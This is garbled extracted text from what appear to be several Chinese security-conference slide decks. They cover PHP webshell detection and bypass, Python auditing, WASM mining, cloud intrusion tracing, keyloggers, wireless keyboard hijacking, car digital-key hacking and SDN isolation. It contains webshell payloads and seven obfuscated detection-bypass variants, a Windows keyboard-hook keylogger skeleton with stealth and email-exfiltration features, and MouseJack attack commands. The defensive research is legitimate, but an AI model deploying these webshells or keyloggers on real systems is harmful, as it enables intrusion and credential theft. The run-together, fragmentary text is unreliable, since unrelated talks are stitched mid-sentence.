161、fo:operator=+0 xb1233002cf158 57e6ee62 347faff0 bb8df9bb 3b00cff0 ACROFORM!DllUnregisterServer+0 x3a7e1002cf19c 57e6e7b7 0000041d bb8dfa2b 0000041d AcroRd32_57de0000!DllCanUnloadNow+0 x1dce6Patched Sample 2 32位Windows 7環境中以1280 x800為分辨率最大化啟動Adobe Reader并均勻點擊七下確定可觸發.pdf以及稍微麻煩點的因為這個還沒補(深呼吸)打開文件后等待右下角“
162、store and share files”字樣出來后點擊第一個對話框然后取消保存文件選項并確認字體缺失對話框后等待十秒點擊JS對話框后觸發.pdf還有鍛煉肺活量的 Fuzzing還在緩慢的繼續中,大約每10秒一個樣本 佛系漏洞挖掘者大概每周看一次結果 漏洞提交也是隨緣,想起來就提交三五個 估計目前沒有其他人找到類似的漏洞 我們獲得了在KCON得瑟的素材 馮小剛-功夫.jpg應該達成目標了此處應有掌聲完了PHPCHIP.COM PHP動態特性的捕捉與逃逸Phith0n2019目錄CONTENTSPART 01PHP與動態特性01PART 02如何檢測PHP動態特性02PART 03從攻擊者的角
163、度突破限制03PHP與動態特性常見PHP Webshell的類型我們來做一個“代碼哲學家”PART 01PHP與動態特性PHP與Web應用PHP是世界上最好的語言PHP是Web應用最廣泛的語言靈活發展迅速逐漸廢棄不安全的特性其靈活的特性往往成為Webshell、漏洞的導火索常見PHP Webshell的類型 直接型:eval($_POST2333);assert($_POST2333);回調型 array_map(assert,$_POST);usort($_POST1,$_POST2);包含型 include$_FILES2333tmp_name;require http:/ hello w
164、orld;我們來做一個代碼哲學家preg_replace(/a/i,b,$_POSTname);eval($ret=$arr;);$arr=$_GET,$_POST,$_COOKIE;array_map($callback,.$arr);include./inc/.$filename;foreach(dir(./)as$f)echo$f-read();echo hello world;我們來做一個代碼哲學家這是一段不確定功能的代碼$arr=$_GET,$_POST,$_COOKIE;array_map($callback,.$arr);思考:開發者的本意是什么?array_map(htmlsp
165、ecialchars,.$arr);隨著$callback的改變,這段代碼的功能可能變成什么?array_map(assert,.$arr);我們來做一個代碼哲學家一段代碼,其中變量值的改變可能導致這段代碼發生功能上的變化,我將這種現象成為 PHP的動態特性CHIP是什么CHIP是如何工作的回調后門如何檢測PART 02如何檢測PHP動態特性CHIP PHP動態特性檢測實現主頁:https:/優勢:1.全面:覆蓋99.9%動態特性2.簡單:支持命令行與代碼調用,可使用composer安裝3.可擴展:支持自定義規則CHIP工作流程ParserWalkerAnalyzeAst TreeVisito
166、rCHIP是如何工作的 ParserPHP-Parser:https:/ 7.4所有語法結構PHP-Parser能解決的最大問題Parser的結果是許多AST Tree遍歷這些樹上的所有Node思考:是否還有其他值得注意的語法結構?我們需要關注的Node有哪些?Eval_ 代碼執行 FuncCall 函數調用 New_、MethodCall、StaticCall 類創建與方法調用 Include_ 文件包含CHIP是如何工作的 Walker常見動態特性逐一分析 直接型 回調型 包含型難點:回調型后門的檢測 變形型 命令型 技巧型CHIP是如何工作的 Analyze回調后門的檢測回調后門介紹:h
167、ttps:/ Callable3.確定回調參數的位置思考:獲取列表的時候要注意什么?回調后門的檢測思考:獲取列表的時候要注意什么?1.不確定參數數量的函數 使用負數表示倒數位置2.某些函數包含隱式的回調參數,需要特殊處理 filter_var/filter_var_array3.PHP版本不同導致參數類型不同的情況一個最簡單地判斷后門的步驟對抗七種繞過方法PART 03從攻擊者的角度突破限制一個最簡單的判斷回調后門的步驟遍歷AST Tree是否調用包含回調參數的函數回調參數是否使用匿名函數的方式定義可能存在動態特性安全FuncCall Node否是攻擊者的小試牛刀 判斷回調后門的步驟:1.遍歷
168、AST Tree2.分析FuncCallNode,判斷是否調用了含有回調參數的函數3.判斷回調參數是否是一個變量思考:以上步驟如何突破?知識點:PHP是一個大小寫不敏感的語言入門級:利用大小寫可以繞過對函數名的判斷UsORt($_POST1,$_POST2);攻擊者的小試牛刀 函數名大小寫繞過1、利用函數名大小寫,繞過對敏感函數名的檢測經驗 從攻擊者的角度突破限制:1.從函數名位置入手思考:敏感函數名列表從哪里獲???繞過馬其頓防線 有些函數沒有明確標示在文檔中,但在PHP內核中的確存在?在PHP內核中尋找不在文檔中的“特殊函數”函數別名(PHP_FALIAS)繞過馬其頓防線 利用內置函數別名繞
169、過限制繞過2、利用未在文檔中列出的內部函數繞過函數名檢測mb_ereg_replacembereg_replacemb_ereg_ireplace mbereg_ireplacePHP7.3 以下均可利用:從攻擊者的角度突破限制:1.從函數名位置入手思考:還有哪些從函數名位置可以突破的方法?知識點:PHP5.6后開始支持函數別名 PHP本身不支持函數重寫與HOOK PHP5.3引入命名空間機制,支持類別名 PHP5.6開始支持函數別名劍走偏鋒 利用函數別名繞過限制繞過3、利用函數別名機制,重命名黑名單函數PHP5.6開始可以利用:從攻擊者的角度突破限制:1.從函數名位置入手2.從類名位置入手知
170、識點:類的繼承,實質上也可以看做一種“別名”如何舉一反三 利用類繼承突破限制繞過4、利用類的繼承繞過類名黑名單限制PHP通用繞過:invoke($_POST2333);引擎認為創建的是test類,實際創建的是ReflectionFunction類如何舉一反三 利用類繼承突破限制繞過4、利用類的繼承繞過類名黑名單限制利用PHP7支持的匿名類,升級Webshell:invoke($_POST2333);如何舉一反三 利用類繼承突破限制繞過4、利用類的繼承繞過類名黑名單限制利用PHP7支持的匿名類,升級Webshell:iNvOKe($_POST2333);稍做變性,讓“Webshell”變得更加“
171、高深莫測”待時而動 經驗 從攻擊者的角度突破限制:1.從函數名位置入手2.從類名位置入手已經可以從函數名、類名位置入手了思考:是否可以利用參數位置繞過限制?回看判斷回調后門的步驟:.判斷回調參數“是否使用匿名函數的方式定義”一個最簡單的判斷回調后門的步驟遍歷AST Tree是否調用包含回調參數的函數回調參數是否使用匿名函數的方式定義可能存在動態特性安全FuncCall Node否是待時而動 如何判斷回調參數“是否使用匿名函數的方式定義”?1.從文檔獲取函數名(usort),以及回調參數的位置(第二個)2.檢測實際調用usort的時候,是否有第二個參數3.如果有,第二個參數是否用合法思考:是否有
172、方法,可以只傳入一個參數,但實際上卻能控制第二個參數?知識點:PHP5.6開始,支持參數列表的折疊與展開 https:/ 類似于Python里的*kwargs,PHP里通過.$kwarg的方式展開參數列表待時而動 利用參數列表展開繞過檢測繞過5、利用參數列表的折疊與展開,繞過對回調參數的檢測從攻擊者的角度突破限制:1.從函數名位置入手2.從類名位置入手3.從參數列表入手思考:你是如何判斷一段代碼里,哪些位置是函數名,哪些位置是類名,哪些位置是參數?敵后武工隊 思考:你是如何判斷一段代碼里,哪些位置是函數名,哪些位置是類名,哪些位置是參數?利用PHP-Parser解析 PHP-Parser解析的
173、過程中,是否可能出現與PHP原生解析不同的地方?知識點:PHP-Parser無法處理控制字符,而PHP引擎卻可以執行包含控制字符的函數:printf(hello world)哪些字符可以插入PHP:x00-x20敵后武工隊 利用PHP-Parser缺陷繞過防御繞過6、利用控制字符,使php-parser解析異常,繞過后續所有檢測流程寫入一個包含控制字符的webshell:?php$content=從攻擊者的角度突破限制:1.從函數名位置入手2.從類名位置入手3.從參數列表入手4.從解析引擎的BUG入手繼續思考:有沒有可能在不觸發解析器異常的情況下,也讓檢測流程不執行呢?暗度陳倉 解析器BUG不
174、常有,但PHP Tricks常有PHP-Parser如何判斷一個文件是否應該被解析?通過?php 標簽 通過?標簽PHP如何判斷一個文件是否應該被執行?通過?php 標簽 通過?標簽 通過%標簽(默認不開啟,PHP7后被移除)通過 標簽(PHP7后被移除)差異暗度陳倉 利用PHP標簽差異繞過檢測PHP-Parser工作流程:1.在用戶傳入的內容中,找到PHP代碼2.將PHP代碼解析成AST Tree繞過7、利用php-parser不識別的PHP標簽,繞過后續所有檢測流程eval($_POST2333);突破口暗度陳倉 利用PHP標簽差異繞過檢測經驗 從攻擊者的角度突破限制:1.從函數名位置入手
175、2.從類名位置入手3.從參數列表入手總結:清楚地認識自己的目的是什么,然后列出正常的流程,并找出關鍵點,逐一突破4.從解析引擎的BUG入手5.干脆繞過解析引擎如何研究一個問題 理解:理解自己研究的東西究竟是干什么的,什么原理,列出步驟,找出核心點 技巧:根據核心點,想一些常人想不到的突破口,并學會舉一反三,繞過防御機制或觸發一些漏洞 積累:即使你找到了突破口,但沒有基礎知識,也無法進入下一步謝謝觀看YOUR COMOANYS NAMEPython動態代碼審計2 0 1 8大型項目,代碼結構復雜有些危險的功能隱藏較深(危險的定時計劃任務、sqlite數據庫任意創建導致任意文件覆蓋)提高效率為什么
176、會想到動態代碼審計?漏洞數據庫敏感函數文件讀寫網絡訪問日志PART 01數據庫日志目錄CONTENTSPART 02Hook關鍵函數 PART 03結合Auditd PART 04http盲攻擊01020304PART 05fuzzing05常規Web代碼審計的準備工作有哪些?準備好代碼運行環境IDE或者編輯器各種調試工具(xdebug)Burp Suite瀏覽器的各種插件(hackbar、modify headers)打開數據庫的general logPART 01數據庫日志如何打開數據庫的general logMysql:set global general_log_file=;set g
177、lobal general_log=on;PostgreSQL:編輯:postgresql.conf log_directory=pg_log log_filename=postgresql-%Y-%m-%d_%H%M%S.loglog_statement=all發送一些包含sql注入的畸形數據利用Linux的grep指令做一下過濾我想關注危險函數的調用和傳參怎么辦?PART 02Hook關鍵函數容易改變的python對象劫持模塊輸入參數正常模塊輸出參數日志可以劫持我們認為敏感的函數把參數輸出到日志中,方便找到ssti、pickle反序列化漏洞和命令執行漏洞等其他的漏洞方便拓展到其他的模塊或者
178、函數 cd hook/cp os.py xxx.py 編輯xxx.py:注釋掉原來被hook的函數,添加想要hook的函數下面的示例是hook了subprocess模塊中check_call函數修改啟動代碼從shell中啟動python web只要簡單修改啟動代碼就可以從WSGI方式啟動切換到shell啟動從內存中刪掉已加載的模塊一些模塊通過_import_動態導入,需要在動態導入后通過del modules刪掉被裝載的模塊需要自己處理的坑其他問題Python web性能下降、代碼不兼容、有些模塊無法被hook關閉調試選項例如在flask啟動時將debug選項設置為false,否則會產生兩個p
179、ython進程怎么不通過修改原始代碼去獲取文件讀寫操作?PART 03結合Auditd Auditdauditd(或 auditd 守護進程)是Linux審計系統中用戶空間的一個組件,其可以記錄Linux中文件,進程等操作,且安裝方便CentOS 默認安裝Ubuntu 安裝:apt-get install auditd只要簡單的配置就可以監視一些文件操作 sudo auditctl-a exclude,always-F msgtype!=PATH-F msgtype!=SYSCALL#記錄文件操作sudo auditctl-a always,exit-F arch=b64-S execve-k
180、 rule01_exec_command#記錄所有的shell指令的執行sudo auditctl-a always,exit-F pid=$mypid#記錄指定進程文件操作發送一些包含目錄跳轉的畸形數據 通過grep和關鍵字高亮工具(https:/ 敏感文件操作怎么解決諸如ssrf等網絡操作的問題?PART 04http盲攻擊 ssrf可以探索企業內網構造請求dns解析的數據 Ping c 1 xxx.pw url=http:/xxx.pw!DOCTYPE xdsec&xxe;利用dns帶外數據傳輸可以發現ssrf,xxe,命令執行等漏洞如何半自動化?PART 05fuzzingweb ap
181、i正常數據畸形數據數據危險函數參數日志數據庫日志auditd日志dns日志Web 報錯日志poc數據如何快速開始fuzzing呢?利用burp自帶的功能就可以需要根據自己的業務類型制定自己的測試用例自己要想辦法處理產生的大量的日志需要自己處理的問題其他問題To do1.自動化部署客戶端2.開發一個日志處理平臺3.盡可能的覆蓋更多的漏洞類型4.豐富測試用例5.開源 (https:/綠盟科技 NSFOCUSWASM雙刃劍機制剖析與逆向2 0 1 8PART 01WASM目錄CONTENTSPART 02CompilePART 03挖礦實例PART 04探索方向01020304PART 01WASM
182、 前端編程無法解決的問題 傳統的js腳本運行緩慢 在瀏覽器中無法實現復雜功能(效率不足,影響體驗)很低的渲染能力,卻擁有CPU、GPU極高的占用率 應用場景 瀏覽器頁面3D環境渲染 數據壓縮 圖像/音頻/視頻的處理 挖礦(本身就是計算的一種).支持度 WebAssembly(WASM)基于棧的二進制格式文件 支持C/C+/Rust等高級語言的轉換 理論上能夠將現有的C/C+代碼庫直接編譯運行,無需重寫 支持Write Once,Run anywhere 由JVM解釋并執行,運行時處于隔離環境中 不能直接操作Dom元素,不能直接調用I/O 只能通過WebSocket對外通信 只能使用binary
183、en-shell與JavaScript交互 只能通過為JavaScript提供的接口進行調用 基于棧的運行機制int add(int num)return num+10;00 61 73 6D 0D 00 00 00 01 86 80 80 80 00 01 6001 7F 01 7F 03 82 80 80 80 00 01 00 04 84 80 8080 00 01 70 00 00 05 83 80 80 80 00 01 00 01 0681 80 80 80 00 00 07 96 80 80 80 00 02 06 6D 656D 6F 72 79 02 00 09 5F 5A
184、35 61 64 64 34 32 6900 00 0A 8D 80 80 80 00 01 87 80 80 80 00 00 2000 41 0A 6A 0Bget_local 0i32.const 10i32.addPART 02編譯及反編譯過程加載Emscripten庫Emscripten生成通過映射轉換通過asm2wasm生成C/C+LLVM IRASM.jsTextFormat.watBinaryFormat.wasmC/C+WASM2CBinaryFormat.wasm 一個模塊中包含的節(必需)type function code Type類型(部分)int i32 i64 f
185、loat f32 F64 functype wasm的二進制文件格式 0 x0 flag 0 x4 magic 0 x8 section_id 0 x9 length 0 xA type 0 xB function type start 0 xC val:type 0 xE val:type PART 03挖礦實例 JavaScript腳本編寫的挖礦程序,利用coinhive提供的API 將JavaScript腳本編譯為wasm,在支持運行wasm運行的瀏覽器中執行挖礦行為,不支持的瀏覽器會執行JavaScript腳本 無技術含量,只是一種應用,但是為何在下載的時候沒有檢測出來PART 04研
186、究方向 wasm在運行效率方面比JavaScript表現的更加出色,因此wasm將被廣泛應用在游戲,虛擬場景模擬等方面,這意味著wasm在以后的應用中會占據一席之地 wasm運行在JVM沙箱中,對外的交互基本上都由JavaScript進行接管,JavaScript不了解WASM中運行的內容,只能獲取到指定的返回信息 wasm對于JavaScript來說就是一個黑盒,獲知其中的運行狀態及內容很難 大多數的WAF產品目前沒有wasm解析器,因此無法對其進行有效的特征檢測及攔截 wasm由JVM解釋執行,是否會支持C/C+等高級語言也可以導入wasm完成某些功能,將這些功能隱藏在wasm中具有相當好
187、的隱蔽性,如何對其進行檢測?代碼保護wasm文件格式清晰,非常容易直接獲取代碼,對代碼應如何混淆并加以保護本地動態行為檢測WASM文件執行情況及功能的動態檢測方案網絡數據流實時檢測在下載或發送時對其進行檢測加密流量的分離及分析漏洞挖掘利用其能將高級語言編譯為webbytecode的特性,挖掘相關漏洞 代碼保護WAF相關漏洞相關行為檢測引用及參考引用及參考 https:/ https:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/https:/webassembly.gi
188、thub.io/spec/core/謝謝觀看演講人:趙光遠云環境自動化入侵溯源實戰WHOAMI201520162019 cdxy_ 安全工程師阿里云 企業安全/入侵檢測與響應 數據分析/機器學習愛好者響應速度是企業安全能力的核心體現是否誤報?漏洞?攻擊路線?黑客背景?目的?影響哪些資產和賬號?泄露哪些數據?是否存在內部違規操作?.告警安全運營看看怎么被入侵的200G日志0日志看看怎么被入侵的99%誤報又來告警了安全運營現狀安全運營流程中的技術問題數據缺失系統孤立人工檢索 自動化入侵回溯 多源異構數據的知識表達采集計算交互云原生的數據采集方案滿足90%以上事件調查千萬級RPS實時流計算自動尋找入
189、侵相關信息圖結構可視化還原入侵鏈路可視化冗余只展示有用的信息數十種行為細節粗糙離線分鐘級延時計算流程將行為抽象成實體,描述入侵細節黑客IP:x.x.x.x服務器IP:x.x.x.x攻擊黑客IP:x.x.x.x服務器IP:x.x.x.x漏洞利用執行惡意指令寫入文件告警基于日志的被動關系構建主動關系推理斷鏈修復:關聯規則挖掘watchbog蠕蟲回溯案例JIRA模板注入(CVE-2019-11581)Solr RCE(CVE-2017-12629)SSH暴力破解CouchDB RCE(CVE-2018-8007)挖礦程序植入方式Top SSH/RDP登錄后寫入 WebLogic RCE Kubern
190、etes API Server未授權訪問 Struts2 RCE Hadoop YARN 未授權訪問WEBSHELL植入方式Top 表單文件上傳 老馬上傳新馬 WordPress插件寫入 SSH/RDP登錄后寫入 Discuz插件寫入宏觀入侵原因統計自動化0day捕獲Jenkins RCE(CVE-2019-1003000)2019-01-30 15:45:22-115.236.5.58WebLogic RCE(CVE-2019-2725)2019-04-17 18:09:45-211.94.162.24504-17 01-30 現階段問題數據復雜網絡拓撲/內網計算長時間窗口/復雜模型對抗Ag
191、ent被殺或定向繞過Q&Acdxy000cdxy_從鍵盤鉤子木馬到無線鍵鼠套裝劫持2 0 1 8PART 01鍵盤Hack目錄CONTENTSPART 02鍵盤鉤子木馬PART 03無線鍵鼠套裝劫持PART 04安全建議01020304針對鍵盤的攻擊思路分析PART 01鍵盤Hack鍵盤最常見的輸入設備之一物理鍵盤虛擬鍵盤機械鍵盤ATM機鍵盤軟鍵盤手機鍵盤計算機鍵盤分類計算機鍵盤編碼鍵盤:鍵盤控制電路的功能完全靠硬件完成非編碼鍵盤:鍵盤控制電路的功能由硬件和軟件共同實現數字電路 對應按鍵ASCII碼查詢程序傳送程序譯碼程序便于重定義應用廣泛非編碼鍵盤的短板:鍵位沖突搓招搓不出來?Ghost K
192、ey鬼鍵為避免送出錯誤信號而選擇忽略信號鍵帽手指按壓薄膜式鍵盤按鍵的過程橡膠彈性墊導電層1絕緣層為鍵帽在按下時提供足夠的彈性負責連通鍵盤底部的兩層薄膜上的觸點導電層2觸點1觸點2中心圓孔QWASR1R2C1C2矩陣示意圖C1C1999QR1AR299WS9電路圖QWASR1R2C1C2矩陣示意圖C1C1999QR1AR299WS9電路圖按下Q鍵QWASR1R2C1C2矩陣示意圖C1C1999QR1AR299WS9電路圖按下Q、S鍵QWASR1R2C1C2矩陣示意圖C1C1999QR1AR299WS9電路圖按下Q、W、A鍵鬼鍵W WASDWASDUIO搞鍵盤?鍵盤鉤子木馬木馬程序,后臺靜默記錄射
193、頻信號分析鍵鼠&適配器射頻技術通信New ideaNew ideaATM鍵盤外設攻擊ATM Skimmer偽裝鍵盤面板搭配插卡口和針孔攝像效果更佳ATM熱感攝像機攻擊l 熱感攝像機:分辨并記錄物體表面溫度,生成熱 量分布圖。l 人體體溫37左右,觸摸鍵盤時產生的溫度可以 被攝像機捕捉,并根據熱量大小判斷按鍵順序。l ATM機鍵盤由塑料改為金屬。ATM BadUSB物理接入首先得開鎖。(不適用國內ATM機環境)Tyupkin木馬Ploutus malwareTriton ATM鑰匙ebay、amazon有售OS攻擊 ATM攻擊xp粘滯鍵后門案例傳統鍵盤記錄器思路分析PART 02鍵盤鉤子木馬Wi
194、ndows系統的地基“事件驅動”模型應用程序應用程序應用程序Windows消息隊列系統消息隊列應用程序消息隊列操作系統、應用程序和硬件設備應用程序操作系統I/O設備消息隊列操作系統能感知輸入輸出設備的狀態變化,如鼠標單擊,按鍵按下等不直接處理封裝成Msg,轉交應用程序鉤子:攔截系統發送給其它應用程序的消息。Windows下的鉤子剖析線程鉤子:只監視指定的線程,既可以是exe也可以是dll進程鉤子:監視系統中所有線程,必須是dllSetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId)l 設置鉤子:Set
195、WindowsHookExl 釋放鉤子:UnhookWindowsHookExl 繼續鉤子:CallNextHookEx指定具體ID,表示線程鉤子設置為0,表示全局鉤子LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)PKBDLLHOOKSTRUCT key=(PKBDLLHOOKSTRUCT)lParam;/a key was pressed if(wParam=WM_KEYDOWN&nCode=HC_ACTION)DoSomething(key);return CallNextHookEx(keyboar
196、dHook,nCode,wParam,lParam);key-vkCode記錄用戶按鍵屏蔽用戶按鍵修改用戶按鍵int main()keyboardHook=SetWindowsHookEx(WH_KEYBOARD_LL,KeyboardProc,NULL,NULL);MSG msg 0;/application loop while(GetMessage(&msg,NULL,0,0)!=0);UnhookWindowsHookEx(keyboardHook);return 0;int main()keyboardHook=SetWindowsHookEx(WH_KEYBOARD_LL,Keyb
197、oardProc,NULL,NULL);MSG msg 0;/application loop while(GetMessage(&msg,NULL,0,0)!=0);UnhookWindowsHookEx(keyboardHook);return 0;LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)int main()keyboardHook=SetWindowsHookEx(WH_KEYBOARD_LL,KeyboardProc,NULL,NULL);MSG msg 0;/application loo
198、p while(GetMessage(&msg,NULL,0,0)!=0);UnhookWindowsHookEx(keyboardHook);return 0;HHOOK WINAPI SetWindowsHookEx(_In_ int idHook,_In_ HOOKPROC lpfn,_In_ HINSTANCE hMod,_In_ DWORD dwThreadId);添加木馬行為靜默安裝自我銷毀開機自啟發送郵件PART 03無線鍵鼠劫持射頻信號攻擊思路分析無線鍵鼠套裝有線鍵鼠無線鍵鼠無線鍵鼠藍牙協議2.4GHz應用較廣,但范圍有限,且不易攜帶一般通過USB接口插無線適配器來使用,鍵盤和
199、鼠標通過電池供電。鍵盤計算機連接方式DIN連接器插頭PS/2接口USB接口射頻攻擊有線鍵盤計算機有線鍵盤射頻消息適配器轉化發送計算機存在攻擊風險錄制射頻信息射頻攻擊有線鍵盤計算機有線鍵盤射頻消息適配器轉化發送計算機存在攻擊風險重放射頻信息Lets do it測試設備羅技ComboMK220無線鍵鼠套裝Crazyradio 2.4Ghz nRF24LU1+USB radio donglel 2.4GHz USB radio donglel Nordic Semiconductor nRF24LU1+芯片l 2.4GHz radio communicationl 0dBm output power
200、(1mW)l 125 radio channels 部署軟件環境l sudoapt-getinstallsdccbinutilspythonpython-pipl sudopipinstall-Upipl sudopipinstall-U-Ipyusbl sudopipinstall-Uplatformio刷新crazyradio pa固件l git clone https:/ l cd crazyradio-firmware l python usbtools/launchBootloader.py l wget https:/ python usbtools/nrfbootload.py
201、flash cradio-pa-0.53.bin安裝設備驅動Windows操作系統安裝:通過zadig來安裝Crazyradio nRF24LU1+USB radio dongle硬件設備驅動遇到Windows不讀盤時,可以嘗試通過OSX系統測試或檢查U盤是否被刷壞編譯Mousejack Projectl git clone https:/ cd mousejack l make l make install掃描&嗅探usage:./nrf24-scanner.py-h-c N N.-v-l-p PREFIX-d DWELLe.g.cd mousejack-master/./nrf24-sca
202、nner.py-c 1.5捕獲附近所有設備的數據包找MAC地址usage:./nrf24-sniffer.py-h-c N N.-v-l-a ADDRESS-t TIMEOUT-k ACK_TIMEOUT-r RETRIESe.g.cd mousejack-master/./nrf24-sniffer.py-a mac address定向捕獲數據包數據采集&重放&中斷分析擊鍵(鼠標左右鍵、滑輪,鍵盤按鍵)數據規律,進行重放攻擊。network mapper(Denial of Service)usage:./nrf24-network-mapper.py-h-c N N.-v-l-a ADDR
203、ESS-p PASSES-k ACK_TIMEOUT-r RETRIEScd nrf-research-firmware./nrf24-network-mapper.py-a 61:49:66:82:03l 簡單重放攻擊l 任意數據包構造攻擊HackRF One半雙工收發器支持采樣率:2 Msps20 Msps(正交)軟件控制天線端口功率:最大50mA 3.3 V工作頻率:1MHz6GHzl LPC4320/4330l XC2C64A l MAX2837 l RFFC5072 l MAX5864 l Si5351C l MGA-81563 l SKY13317 l SKY13350Audaci
204、ty導入錄制按鍵信息適配器維持信號按鍵信號Inspectrum分析射頻信號cmake編譯時報錯安裝liquid-dspgit clone git:/ rate:4000 0000Symbols:1160添加amplitude plot振幅圖通過Symbols參數劃分波形等分振幅圖,導出數據設置閾值轉二進制串比對二進制串匹配按鍵HackRF錄制正常按鍵信號用戶按鍵Inspectrum導入射頻信號Inspectrum導出射頻數據Python腳本轉換為01序列將01序列設置為某一按鍵的基準序列將用戶輸入與基準序列進行比對打印出最為接近的按鍵符號Invoke-Shellcode payload:htt
205、ps:/ 04安全建議安全建議廠商角度:l引入serialnumber,按鍵無線電信號一次一變l采用序列號+加密,對序列號進行加密,提高攻擊者攻擊代價與難度。用戶角度:l敏感操作改用安全軟鍵盤l不使用小廠的不合規格的鍵盤&適配器l提高無線安全意識,了解參數基本信息l登錄等操作掃碼代替l支持更新固件的設備進行固件升級中華人民共和國保守國家秘密法THANKS俠盜獵車數字鑰匙Hacking 2 0 1 8PART 01汽車鑰匙簡史 101目錄CONTENTSPART 02安米鑰匙架構&功能PART 03安米鑰匙攻擊點分析RF 干擾攻擊鑰匙共享分析 藍牙加密破解010203PART 01汽車鑰匙簡史汽
206、車鑰匙 101機械鑰匙(仍在使用)遠程控制(紅外線;固定碼;滾動碼)RFID(無線射頻車輛身份編碼識別)數字鑰匙(手機即為鑰匙未來趨勢)新趨勢?經典案例RKE KeeLoq algorithm cracked(2008)Passive Keyless entry Keyfob Relay attack(2012)Gone in 60 seconds-Hijacking with Hitag2(2012)Samys Rolljam-Drive it like you hacked it(2015)BMW ConnectedDrive-Telematics hacked(2015)Mitsubis
207、hi Outlander WIFI Hacked-PenTestPartners(2016)14 vulnerabilities found in BMW connected cars-KeenLab(2018)新趨勢 新HACK 2015新趨勢 新HACK 2016PART 02安米鑰匙架構&功能數字鑰匙 安米功能Keyless Entrance SystemKeyless Engine Start/Stop Bluetooth Low Energy 4 Auto Lock/Unlock FunctionMobile as Key(Android;Iphone)Remote Keys Sha
208、ring(20 Users)安米部件安米配對支持車型安米內部1安米內部2安米內部3B T L E-M o d u l e(C C 2 6 4 0)to communicate with mobile APP through 2.4ghzRF-Module(NXP-61X0915)Emits unlock/lock cmd to the vehicle.RF-module vary from different car modelsBTLE-Module(SYD8801)sensor.2.4GHz BTLE SOC 32-bit ARM Cortex-M0.Functionality unkno
209、wn?神秘的傳感器神秘的傳感器無線模塊Oscillator:13.560MhzMath:13.560MHz/8000=1695hz13.560MHz*32=433.92MhzSDR-HackRFSDR-GQRX藍牙模塊藍牙模塊藍牙模塊安米APP安米APP安米APP安米APP安米APP安米APPServer毫無隱私可言.Encryption?超級安全?PART 03安米鑰匙攻擊點RF 干擾攻擊 RF-干擾器 RF-干擾器 安米安全否?安米單向通訊.演示:PART 04安米鑰匙攻擊點鑰匙共享分析共享功能共享功能What could possibly go wrong?微信共享微信共享演示:刪除賬號
210、?演示:賬號過期?演示:PART 05安米鑰匙攻擊點 藍牙加密破解BTLE數據包分析BTLE數據包分析BTLE數據包分析BTLE-1st 嘗試BTLE登錄驗證BTLE登錄算法BTLE登錄協議BTLE登錄算法BTLE登錄算法BTLE登錄算法Login加密算法1-byte of encryption key使用 XOR 作為所謂的加密算法 所需參數均可通過藍牙抓包獲取Login藍牙抓包Login藍牙抓包LoginCrafting Packets演示:漏洞報告?總結Security by obscurity?100%的絕對安全并不存在新的趨勢將會帶來新的攻擊點安全測試+安全測試+安全測試謝謝觀看20
211、19 Tencent Blade Team 公有云SDN的安全風險與加固 About Me 安全平臺部高級工程師 Tencent Blade Team 安全預研,SDN、BIOS、TEE About Tencent Blade Team 受邀參加Blackhat USA、DEFCON、HITB、CanSecWest、CSS、KCon、XCon等多個海內外頂級安全會議 多次受邀參加 海內外頂級安全會議 Amazon、小米、華為等多個品牌官方認可,獲小米安全年度最佳守護者,榮獲華為漏洞獎勵計劃官方認可 獲Amazon、小米、華為等多個品牌官方認可 為騰訊Tday、騰訊首屆技術文化周等活動輸出泛安全
212、影響力 輸出全行業 泛安全影響力 成功發現首個TensorFlow框架自身安全漏洞,并包攬TF已知前七個漏洞 谷歌TensorFlow 成功發現SQLite存在嚴重漏洞,影響Chromium瀏覽器和大量Android、iOS應用 發現SQLite嚴重漏洞 成功破解Amazon Echo、Google Home、小米智能音箱等IoT設備 深耕IoT領域 目錄 CONTENTS PART 01 SDN 01 PART 02 Beyond VM 02 PART 03 Devops without Sec 03 PART 04 Naughty Docker 04 PART 05 GreatWall 0
213、5 PART 06 Conclusion 06 PART 01 SDN 技術背景 租戶隔離 SDN技術背景 SDN技術背景 SDN的優勢 物理拓撲與邏輯拓撲不再綁定 按需實時變更邏輯拓撲 按需實時生成網絡功能 SDN租戶隔離 公有云SDN的核心特性 云上幾乎所有業務的共需 具備多種實現方式 守護云安全的絕境長城 IAAS K8S 裸金屬 PART 02 Beyond VM 從VM被入侵說起 Beyond VM 問:某用戶購買的VM被入侵,應如何處理?Beyond VM 問:某用戶購買的VM被入侵,應如何處理?答:好像可以賣一套安全產品,說不定再加一套安全服務哦 Beyond VM 追問:是用戶
214、買的VPN被黑了,咋辦?Beyond VM 追問:是用戶買的VPN被黑了,咋辦?哦豁 NETCONF對外開放弱密碼 Beyond VM 1.VPN也是一臺VM 2.VPN和用戶其他VM在同一虛擬網絡 但是 VPN VM受SDN控制器管理配置 VPN VM可逃離租戶隔離限制!業務系統 OSS 控制器集群 IDC IDC 跳板機 Restful Restful syslog Netconf Ssh 管理界面 租戶界面IPsecVPN 管理界面 租戶界面SSLVPN 訪問控制 PART 03 Devops without Sec 愿安全與你同在 Devops without Sec 經驗教訓 SDN
215、安全配置在產品迭代中可能丟失 SDN網絡隔離必須結合加密通信、ACL控制形成縱深 SDN跨越隔離邊界的實體必須監控網絡通信 PART 04 Naughty Docker 非典型容器逃逸 Naughty Docker 舞臺:Serverless 主角:Docker 演出時長:300s 劇本:whatever Naughty Docker 天氣風和日麗,發現了有趣的事 0秒,X母機Y1容器,bash i反彈Shell 306秒,X母機Y2容器,下載掃描工具 630秒,X母機Y3容器,下載掃描工具 800秒,X母機Y3容器,下載某POC工具 Naughty Docker 800秒,X母機Y3容器,下
216、載某POC工具 1000秒,X母機Y3容器,下載某POC工具 1080秒,X母機,執行ifconfig、whoami、id 母機API漏策略沒隔離!PART 05 Greatwall 萬里長城永不倒,也別漏 Greatwall 經驗教訓 逃逸不一定是漏洞,也許是SDN網絡隔離失效 針對容器/母機的強健監控,保障了SDN的持續進化 SDN網絡隔離,云服務安全長城的基石 PART 06 Conclusion SDN安全,公有云的安全基石 Conclusion 攻擊面 典型問題 配置不當 可用性問題 通信未加密 密鑰管理 1 2 3 4 5 網絡安全 宙斯盾 DNS劫持監控 應用安全 洞犀 金剛 門
